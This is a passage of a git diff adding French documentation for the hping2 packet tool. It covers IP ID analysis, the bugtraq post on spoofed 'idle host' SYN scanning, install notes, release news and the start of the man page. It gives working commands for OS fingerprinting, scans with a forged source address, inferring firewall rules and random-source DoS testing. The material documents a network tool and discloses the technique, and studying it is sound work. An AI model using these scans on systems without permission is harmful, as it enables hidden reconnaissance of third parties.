Comme vous pouvez le voir le champ id augmente. Le paquet avec le numéro + de séquence 0 possède un champ id égal à 29607, le numéro 1 à 31549, ainsi + le système www.yahoo.com a envoyé 31549-29607 = 1942 paquets en environ + une seconde. En utilisant l'option -r ou --relid, hping affiche le delta + entre les champs id des deux derniers paquets reçus. + +# hping www.yahoo.com -P 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms + +--- www.yahoo.com hping statistic --- +10 packets tramitted, 10 packets received, 0% packet loss +round-trip min/avg/max = 320.0/336.7/360.0 ms + + Évidemment si on vérifie le champ id toutes les demi-secondes plutôt que + toutes les secondes, l'incrément sera diminué de moitié. + +# hping www.yahoo.com -P 80 -A -r -i u 500000 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms + +--- www.yahoo.com hping statistic --- +9 packets tramitted, 9 packets received, 0% packet loss +round-trip min/avg/max = 310.0/320.8/330.0 ms + + N.B. Attention, en utilisant ip->id vous n'êtes capable que d'estimer *le + nombre de paquets envoyés/unité de temps*. Vous ne pouvez pas + toujours comparer différents systèmes. Le champ ip->id concerne + toutes les interfaces d'un système et par exemple si un système + utilise de la traduction d'adresse ou redirige les connexions TCP + vers un autre système (par exemple un firewall utilisé pour cacher un + serveur web) l'incrément du champ ip->id peut résulter en de fausses + augmentations. + + En 'hpingant' les boites windows sans utiliser l'option --winid vous + verrez que les incrément sont des multiples de 256 à cause d'un ordre des + octets inversé. Ceci peut être réellement utile pour déterminer le type + d'OS. + +#hping win95 -r +HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes +46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms +46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms + +--- win95 hping statistic --- +4 packets tramitted, 4 packets received, 0% packet loss +round-trip min/avg/max = 0.5/0.5/0.6 ms + + Les systèmes windows sont "marqués", ainsi pour découvrir si un système + est un Windows vous avez juste besoin d'envoyer quelques paquets. + +Comment effectuer des scans SYN spoofés en utilisant un champ id incrémental +? Ce qui suit est le message original (ndt : du moins sa traduction) à +bugtraq à propos de la méthode de scan usurpée/indirecte/passive, dessous +j'essayerai d'expliquer les détails et comment cela est possible même avec +UDP avec quelques restrictions. + +---- le postage à bugtraq à propos des scans usurpés ---- + + Salut, + + J'ai découvert une nouvelle méthode de scan de ports TCP. Au + contraire de toutes les autres elle vous permet de scanner en + utilisant des paquets usurpés (ndt : dont l'adresse IP source est + usurpée), ainsi les systèmes scannés ne peuvent pas voir votre + adresse réelle. Afin de réaliser cela j'utilise trois particularités + bien connues des mises en oeuvre TCP/IP de la plupart des OS. + + (1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible + est ouvert, et RST|ACK si le port TCP cible est fermé. + + (2) * Vous pouvez connaître le nombre de paquets que les systèmes + envoient en utilisant le champ id de l'entête IP. Voir mes + précédents postages 'à propos de l'entête IP' dans cette mailing + liste. + + (3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à + RST. + + + Les joueurs: + + système A - le système malfaisant, l'attaquant. + système B - le système silencieux. + système C - le système victime. + + A est votre système. + B est un système particulier : il ne doit envoyer aucun paquet + pendant que vous scannez C. Il y a énormément de systèmes à 'trafic + nul' sur Internet, spécialement la nuit :) + C est la victime, il doit être vulnérable aux scans SYN. + + J'ai appelé cette méthode de scan 'scan du système muet' (ndt : + l'autre traduction de 'dumb' est bête) en référence aux + caractéristiques du système B. + + + Comment elle fonctionne : + + Le système A surveille le nombre de paquets sortants depuis B en + utilisant le champ id de l'entête IP. Vous pouvez faire ceci + simplement en utilisant hping : + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + Comme vous pouvez le voir, les incréments du champ id sont toujours + de 1. Ainsi ce système a la caractéristique requise pour jouer le + rôle de B. + + Maintenant le système A envoie des paquets SYN au port X de C en + usurpant l'adresse source de B. + (avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez) + si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui, + le système C ne sait pas que le véritable expéditeur est A). Dans ce + cas le système B répond au SYN|ACK avec un RST. + Si nous envoyons au système C quelques paquets SYN il répondra à B + quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi + nous verrons que le système B est en train d'envoyer des paquets ! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + Le port est ouvert ! + + Par contre, si le port X de C est fermé alors en envoyant à C + quelques paquets SYN avec l'adresse usurpée de B, il répondra avec + des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous + verrons que le système B n'est en train d'envoyer aucun paquet : + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + Le port est fermé. + + Tout ceci peut paraître compliqué à réaliser, mais utiliser deux + sessions de hping dans des consoles virtuelles Linux ou sous X rend + cela plus simple. + La première session surveille le système B : hping B -r + La seconde session envoie des paquets SYN spoofés : hping C -a B -S + + Désolé si mon anglais n'est pas clair. + Cependant ce postage n'est pas adéquat pour décrire exhaustivement + cette méthode de scan, ainsi je vais écrire un article à ce sujet, + en particulier comment mettre en oeuvre ceci dans un scanner de + ports (i.e. nmap), et à propos des caractéristiques des joueurs et + des OS utilisés. + +bonne nouvelle année, +antirez + +---- EOF ---- + + Comme vous pouvez le voir un scan usurpé est trivial à réaliser, + particulièrement en utilisant hping2 vous êtes capable de spécifier un + intervalle en micro secondes (-i uX) ainsi vous n'avez pas besoin que le + système B soit un système totalement passif. Vous pouvez lire l'incrément + du champ id une fois toutes les secondes en envoyant 10 paquets SYN par + seconde. Si vous envoyez un nombre adéquat de paquets SYN par seconde, + l'incrément du champ id attendu est si important que vous êtes à même de + voir si le port est ouvert ou fermé même si le système B envoie d'autres + paquets. Exemple : + +# hping awake.host.org -p 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes +40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms +40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms +40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms +40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms +40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms +40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms +40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms +40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms +40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms +40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms +... + + comme vous pouvez le voir, ce système n'est pas inactif, il envoie environ + 6 paquets chaque seconde. Maintenant scannez le port 80 de www.yahoo.com + pour voir s'il est ouvert : + +root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes + +[attendre quelques secondes et presser CTRL+C] + +--- www.yahoo.com hping statistic --- +130 packets tramitted, 0 packets received, 100% packet loss +round-trip min/avg/max = 0.0/0.0/0.0 ms + + En observant la sortie de 'hping awake.host.org -p 80 -A -r' il est + simple de comprendre que le port 80 de www.yahoo.com est ouvert : + +40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms +40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms +40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms +40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms +40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms +40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms + + notez que 16+75+12+27+11+1-6 = 136 et que nous avons envoyé 130 paquets. + Ainsi il est très probable que les incréments soient produits par nos + paquets. + + Conseil : en utilisant un système inactif pour réaliser un scan usurpé il + est utile de ne montrer que les réponses qui montrent un + incrément différent de 1. Essayez + `hping host -r | grep -v "id=+1"' diff --git a/docs/french/HPING2-IS-OPEN b/docs/french/HPING2-IS-OPEN new file mode 100644 index 0000000..66031ec --- /dev/null +++ b/docs/french/HPING2-IS-OPEN @@ -0,0 +1,14 @@ +Je voudrais dire deux mots à propos du modèle de développement de hping2. +Hping2 est totalement ouvert à toutes nouvelles contributions et idées, si +vous avez même la plus petite idée afin de rendre hping meilleur ou si vous +faites un patch alors envoyez moi un courrier électronique. Tous les +patches, s'ils ne cassent pas l'ancien code et ne sont pas totalement +inutiles, seront inclus. Je connais nombre de projets sous licence GPL mais +qui sont dans un sens "fermés" puisque chaque nouveau patch est considéré +bouffi ou alors le seul code possible est celui de l'auteur principal : CE +N'EST PAS LE CAS! Également chacune des plus petites contributions +documentaires seront ajoutées à hping2, vous pouvez juste créer un ficher +texte qui expose comment réaliser une tâche avec hping, il sera inclus dans +le répertoire 'docs'. + +antirez diff --git a/docs/french/INSTALL b/docs/french/INSTALL new file mode 100644 index 0000000..25cc02b --- /dev/null +++ b/docs/french/INSTALL @@ -0,0 +1,72 @@ +Vous pouvez compiler hping2 au moins sur : + +Linux +OpenBSD +FreeBSD +NetBSD +Solaris + +Avec Linux vous n'avez besoin d'aucune bibliothèque, ni d'être root, +cependant vous avez besoin d'un uid 0 pour exécuter hping. + +Linux +----- + +merci de suivre les étapes suivantes : + +$ ./configure (essayer d'abord ./configure --help) +$ vi Makefile (facultatif) +$ make +$ su +# make install + +FreeBSD, OpenBSD, NetBSD +------------------------ + +Vous aurez besoin de la libpcap et le l'utilitaire gmake installés sur votre +système. + +$ ./configure +$ gmake +$ su (ou calife) +# gmake install + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +NOTE : vous devez faire attention à votre fichier net/bpf.h en installant + sur les systèmes BSD (spécialement avec OpenBSD). Si votre fichier bpf.h + original a été écrasé avec celui de libpcap alors probablement que hping + ne fonctionnera pas avec certaines interfaces. + + Par exemple si vous utilisez le fichier bpf.h de libpcap sur OpenBSD alors + hping ne fonctionnera pas sur les interfaces PPP. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Solaris +-------- + +$ export CC="gcc" +$ ./configure +$ gmake +$ su +# gmake install + +TOUS +---- + +Si vous avez besoin d'exécuter hping2 avec votre compte normal (c.-à-d. +antirez) essayez les commandes suivantes : + +# chown root:antirez /usr/sbin/hping2 +# chmod 4750 /usr/sbin/hping2 + + ATTENTION : hping2 n'est pas du code de confiance, + je ne l'ai pas audité pour les débordements de + tampons cachés et autres problèmes en relation avec + la sécurité. Cependant si (comme par défaut) + LIMITWHENSUID est défini alors si euid != uid il + n'est pas possible d'utiliser beaucoup d'options + triviallement non sûres. + + le rendre suid n'est pas encouragé. + +antirez diff --git a/docs/french/MORE-FUN-WITH-IPID b/docs/french/MORE-FUN-WITH-IPID new file mode 100644 index 0000000..1c10069 --- /dev/null +++ b/docs/french/MORE-FUN-WITH-IPID @@ -0,0 +1,35 @@ +Posté sur la mailing liste bugtraq (20 Nov 1999) : + +--- +Salut, + +quelques petites nouvelles idées à propos des problèmes du champ IP ID : + +Le premier est à propos du filtrage IP Linux : puisqu'il augmente le +compteur global du champ IP ID même si un paquet sortant sera filtré nous +sommes capables, par exemple, de scanner des ports UDP même si la sortie de +paquets ICMP de type 3 (ndt : port non accessible) est DENY, et en général +il est possible de savoir quand la pile TCP/IP répond à un paquet même si la +réponse est jetée. +Je pense (mais non testé) que ceci est vrai pour la plupart des firewalls. + +Le second problème concerne la capacité à découvrir les règles de filtrage. +Par exemple il est trivial de connaître si un système A filtre les paquets +depuis l'adresse IP X.Y.Z.W en contrôlant l'augmentation du champ IP ID du +système A ou du système avec l'adresse X.Y.Z.W (ceci change si nous sommes +intéressés par la connaissance des règles d'entrée ou de sortie) et en +envoyant les paquets qui supposent une réponse. Également ceci est apparenté +avec la capacité de scanner les ports d'un système qui jette tous les +paquets avec une source différente de systeme.de-confiance.com. Il y a +d'autres choses comme ceci mais elles sont seulement différentes facettes du +même concept. + +Quelques personnes pensent que ce type d'attaques ne sont pas des attaques +du "monde réel", je suis fortement intéressé de savoir quelle est l'opinion +des lecteurs de bugtraq (à mon opinion ce type d'attaques est faisable et +utile pour un attaquant. Par exemple la capacité de scanner les ports avec +seulement des paquets spoofés (ndt : avec l'adresse source usurpée) et la +capacité de deviner le trafic du système distant sont grandement réels). + +ciao, +antirez diff --git a/docs/french/Makefile b/docs/french/Makefile new file mode 100644 index 0000000..a53cee0 --- /dev/null +++ b/docs/french/Makefile @@ -0,0 +1,11 @@ +TXT = hping2-fr.8.txt + +all: $(TXT) + +hping2-fr.8.txt: hping2-fr.8 + #groff -t -e -mandoc -Tlatin1 hping2-fr.8 | col -bx | uniq > hping2-fr.8.txt + #groff -t -e -mandoc -Tlatin1 hping2-fr.8 | uniq > hping2-fr.8.txt + groff -t -e -mandoc -Tlatin1 hping2-fr.8 | LC_ALL=fr_FR.ISO-8859-1 col -bx | uniq > hping2-fr.8.txt + +clean: + rm -f *~ $(TXT) diff --git a/docs/french/NEWS b/docs/french/NEWS new file mode 100644 index 0000000..f442752 --- /dev/null +++ b/docs/french/NEWS @@ -0,0 +1,158 @@ +Ce court document est pour les utilisateurs de hping-beta54 ou des versions +précédentes et les aider à exploiter toutes les nouvelles fonctionnalités de +cette version de hping2 en un temps restreint. Vous pouvez quand même +vouloir lire la nouvelle page man mais ce qui suit vous aidera assurément : + +=== release candidate 2 news + +. Maintenant hping est capable d'envoyer/d'analyser les entêtes IP source + routées. Voir la page du manuel pour plus d'informations. + +. Hping a été presque ré-écrit, au moins toutes les parties les plus + importantes. Vous devriez faire l'expérience d'un code plus lisible, + compact, rapide à compiler. + +. Le nouveau code d'analyse des options vous permet de spécifier des options + abrégées. Vous pouvez maintenant utiliser --tcp-ti au lieu de + --tcp-timestamp par exemple et ainsi de suite. + +. La nouvelle fonctionnalité rand-dest permet d'envoyer le paquet à des + adresses IP aléatoires. Ceci est très utile pour faire des études de + l'Internet ou des scans aléatoires de larges réseaux. + + Par exemple la ligne de commande suivante va envoyer des paquets TCP avec + le bit SYN vers le port 80 de l'espace d'adressage 192.168.0.0/16 + + hping 192.168.x.x --rand-dest -p 80 -S + + Toute occurrence de 'x' est substituée par un nombre aléatoire dans + l'intervalle 0-255. + +. La nouvelle fonctionnalité rand-source permet d'envoyer des paquets avec + des adresses IP sources aléatoires. Utile pour tester quelques conditions + de DoS (ndt : dénis de service) contre des firewalls ou des piles TCP/IP + qui mettent en oeuvre des enregistrements d'informations basées sur + l'adresse IP. + +. La sortie a été un peu améliorée et fixée. + +. L'option "force un port destination incrémental" (++) fonctionne + maintenant avec les paquets UDP et fonctionne mieux avec TCP, depuis + qu'elle est plus sélective avec les réponses en retour. + +. Maintenant vous devriez être réellement capables de fixer les numéros de + séquence et d'acquittement des paquets TCP. Le code rc1 était cassé car + atoi() était utilisé pour obtenir une valeur "unsigned long" (ndt : longue + valeur non signée) + +. La documentation (et la traduction française) a été mise à jour pour + refléter les changements. + +=== release candidate 1 news + +. Maintenant hping fonctionne mieux sur BSD, et fonctionne sur Solaris. Il + devrait être beaucoup plus simple de le porter sur une plate-forme non + supportée. Les problèmes avec les systèmes qui utilisent des pids (ndt : + numéros de processus) sur 32 bits sont fixés. + +. La sortie est différente pour être plus analysable (ndt : par un + programme) et compacte, par exemple : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms + + maintenant la présence du drapeau IP Don't fragment (ndt : ne pas + fragmenter) est signalé avec 'DF'. tous les champs avec une valeur sont de + la forme 'champ=valeur'. + +. Spécifier l'interface de sortie avec -I n'est plus nécessaire, hping + essayera de détecter la bonne interface selon la table de routage système. + Bien sûr vous pouvez la forcer en utilisant -I. + +. Au lieu de spécifier -i u10000 pour avoir une vitesse de dix paquets par + seconde vous pouvez utiliser --fast. + +. Maintenant --traceroute (-T) implique --ttl 1. Vous pouvez forcer une + valeur en utilisant --ttl. + +. En utilisant hping comme traceroute vous avez maintenant les informations + RTT (ndt : temps aller-retour) à propos des sauts. + +. Vous pouvez surveiller un saut spécifique en mode traceroute, en utilisant + la syntaxe suivante : + + hping2 -T www.yahoo.com --tr-keep-ttl --ttl 5 + + voyez la sortie : + + HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat + a bytes + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.8 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.7 ms + + --- www.yahoo.com hping statistic --- + 4 packets tramitted, 0 packets received, 100% packet loss + round-trip min/avg/max = 136.7/136.8/136.9 ms + + vous n'avez que les informations sur le 5ème saut, après Ctrl+C le temps + aller-retour min/avg/max (ndt : minimum, moyen, maximum) est calculé en + utilisant les temps de ce saut. + +. En utilisant l'option --tr-stop vous pouvez obtenir que hping s'arrête + quand est reçu le premier paquet correspondant qui n'est pas un ICMP time + exceeded in transit, comme le traceroute original. Sans cela hping + continue d'envoyer des paquets au système cible pour toujours. + +. Vous pouvez utiliser --tr-no-rtt pour supprimer l'information rtt dans le + mode traceroute. + +. Avec la fonctionnalité --tcp-timestamp vous pouvez deviner l'uptime d'un + système distant. Par exemple : + +HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes +56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms + TCP timestamp: 258597761 + +56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms + TCP timestamp: 258597860 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds + +56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms + TCP timestamp: 258597960 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds + + +--- www.hping.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss +round-trip min/avg/max = 105.0/105.2/105.4 ms + + Comme vous pouvez voir, la première réponse ne contient pas d'information + de uptime puisque au moins deux paquets sont nécessaires pour estimer la + fréquence d'incrémentation du minuteur du timestamp (qui est HZ dans la + sortie). + +. Vous pouvez maintenant utiliser les requêtes ICMP de timestamp et de + masque réseau. Deux raccourcis sont fournis pour les utiliser : --icmp-ts + et --icmp-addr. + +. Maintenant le traitement du numéro de séquence a été revu pour permettre à + hping de montrer l'information correcte de rtt même si le numéro de + séquence repasse à zéro. + +. Maintenant hping ne devrait jamais (avec un peu de chance) générer une + erreur SIGBUS sur sparc. + +J'espère que vous trouverez hping meilleur à utiliser et plus puissant, ces +améliorations ont été mises en oeuvre grâce à de nombreuses personnes qui +ont beaucoup aidé avec du code et de nouvelles idées, voyez le fichier +CHANGES pour plus d'informations et les crédits. + +amusez vous bien, +antirez \ No newline at end of file diff --git a/docs/french/SPOOFED_SCAN.txt b/docs/french/SPOOFED_SCAN.txt new file mode 100644 index 0000000..c83151a --- /dev/null +++ b/docs/french/SPOOFED_SCAN.txt @@ -0,0 +1,128 @@ +Ce qui suit est le postage original (ndt : du moins sa traduction) à bugtraq +à propos de la méthode de scan usurpée/passive/indirecte. Voir le fichier +HPING2-HOWTO pour plus d'informations. + +antirez + +--- + + Salut, + + J'ai découvert une nouvelle méthode de scan de ports TCP. Au + contraire de toutes les autres elle vous permet de scanner en + utilisant des paquets usurpés (ndt : dont l'adresse IP source est + usurpée), ainsi les systèmes scannés ne peuvent pas voir votre + adresse réelle. Afin de réaliser cela j'utilise trois particularités + bien connues des mises en oeuvre TCP/IP de la plupart des OS. + + (1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible + est ouvert, et RST|ACK si le port TCP cible est fermé. + + (2) * Vous pouvez connaître le nombre de paquets que les systèmes + envoient en utilisant le champ id de l'entête IP. Voir mes + précédents postages 'à propos de l'entête IP' dans cette mailing + liste. + + (3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à + RST. + + + Les joueurs: + + système A - le système malfaisant, l'attaquant. + système B - le système silencieux. + système C - le système victime. + + A est votre système. + B est un système particulier : il ne doit envoyer aucun paquet + pendant que vous scannez C. Il y a énormément de systèmes à 'trafic + nul' sur Internet, spécialement la nuit :) + C est la victime, il doit être vulnérable aux scans SYN. + + J'ai appelé cette méthode de scan 'scan du système muet' (ndt : + l'autre traduction de 'dumb' est bête) en référence aux + caractéristiques du système B. + + + Comment elle fonctionne : + + Le système A surveille le nombre de paquets sortants depuis B en + utilisant le champ id de l'entête IP. Vous pouvez faire ceci + simplement en utilisant hping : + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + Comme vous pouvez le voir, les incréments du champ id sont toujours + de 1. Ainsi ce système a la caractéristique requise pour jouer le + rôle de B. + + Maintenant le système A envoie des paquets SYN au port X de C en + usurpant l'adresse source de B. + (avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez) + si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui, + le système C ne sait pas que le véritable expéditeur est A). Dans ce + cas le système B répond au SYN|ACK avec un RST. + Si nous envoyons au système C quelques paquets SYN il répondra à B + quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi + nous verrons que le système B est en train d'envoyer des paquets ! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + Le port est ouvert ! + + Par contre, si le port X de C est fermé alors en envoyant à C + quelques paquets SYN avec l'adresse usurpée de B, il répondra avec + des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous + verrons que le système B n'est en train d'envoyer aucun paquet : + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + Le port est fermé. + + Tout ceci peut paraître compliqué à réaliser, mais utiliser deux + sessions de hping dans des consoles virtuelles Linux ou sous X rend + cela plus simple. + La première session surveille le système B : hping B -r + La seconde session envoie des paquets SYN spoofés : hping C -a B -S + + Désolé si mon anglais n'est pas clair. + Cependant ce postage n'est pas adéquat pour décrire exhaustivement + cette méthode de scan, ainsi je vais écrire un article à ce sujet, + en particulier comment mettre en oeuvre ceci dans un scanner de + ports (i.e. nmap), et à propos des caractéristiques des joueurs et + des OS utilisés. + +bonne nouvelle année, +antirez diff --git a/docs/french/hping2-fr.8 b/docs/french/hping2-fr.8 new file mode 100644 index 0000000..7fa9d34 --- /dev/null +++ b/docs/french/hping2-fr.8 @@ -0,0 +1,767 @@ +.TH HPING2 8 "2001 Aug 14" +.\" french translation by Denis Ducamp +.SH NOM +hping2 \- envoie des paquets TCP/IP (presque) arbitraires à des systèmes réseaux +.SH RESUME +.B hping2 +[ +.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG +] [ 